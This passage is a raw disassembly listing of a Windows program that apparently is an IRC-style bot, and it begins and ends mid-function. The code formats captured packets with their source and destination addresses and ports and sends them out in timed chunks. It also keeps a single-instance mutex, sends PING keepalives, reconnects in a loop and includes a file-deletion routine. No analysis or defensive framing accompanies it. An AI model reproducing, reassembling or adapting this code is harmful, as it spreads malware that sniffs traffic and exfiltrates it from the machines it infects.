					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41D9A8
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DE30


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DA10
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------


loc_4167F1:				; CODE XREF: he5.4aoe:00420000j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	ds:dword_4170F4	; SetErrorMode
		and	dword ptr [ebp-4], 0
		push	dword_41DA54
		push	dword_41DA50
		push	3B6h
		push	dword_41DA4C
		push	0
		push	dword_41DA48
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: .text:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: .text:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: .text:0041687Cj
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	ds:dword_4170F8	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	ds:dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: .text:004168ACj
					; .text:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: .text:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DA48
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DA48
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41EC30, eax
		call	sub_410422
		mov	dword_41EC34, eax
		call	sub_410422
		mov	dword_41EC38, eax
		call	sub_410422
		mov	dword_41EC3C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DE30
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: .text:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: .text:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: .text:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DE30
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: .text:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aPacked_exe ; "packed.exe"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: .text:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: .text:0041695Cj
					; .text:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	ds:dword_417264	; WSAStartup
; START	OF FUNCTION CHUNK FOR sub_416ADB


loc_4169F8:				; CODE XREF: sub_416ADB-98j
					; sub_416ADB-34j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: sub_416ADB+7j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: sub_416ADB:loc_416A6Fj
					; sub_416ADB-1Bj
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: sub_416ADB-9Ej
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: sub_416ADB-8Fj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: sub_416ADB-7Bj
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: sub_416ADB-A7j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: sub_416ADB-43j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: sub_416ADB-3Aj
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; END OF FUNCTION CHUNK	FOR sub_416ADB

; =============== S U B	R O U T	I N E =======================================



sub_416AC5	proc near		; DATA XREF: .rdata:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
sub_416AC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ADB	proc near		; DATA XREF: .rdata:004172ACo

; FUNCTION CHUNK AT 004169F8 SIZE 000000CD BYTES

		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
sub_416ADB	endp

; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DE38, 0
		jz	short loc_416B1E
		push	offset dword_41DD54
		push	offset aLast	; "#last"
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: .text:00416B0Bj
		call	ds:dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	ds:dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	ds:dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	ds:dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	ds:dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	ds:dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	ds:dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	ds:dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	ds:dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	ds:dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	ds:dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	ds:dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	ds:dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	ds:dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	ds:dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	ds:dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	ds:dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	ds:dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	ds:dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	ds:dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	ds:dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	ds:dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	ds:dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; .text:00416B26p
		jmp	ds:dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	ds:dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	ds:dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
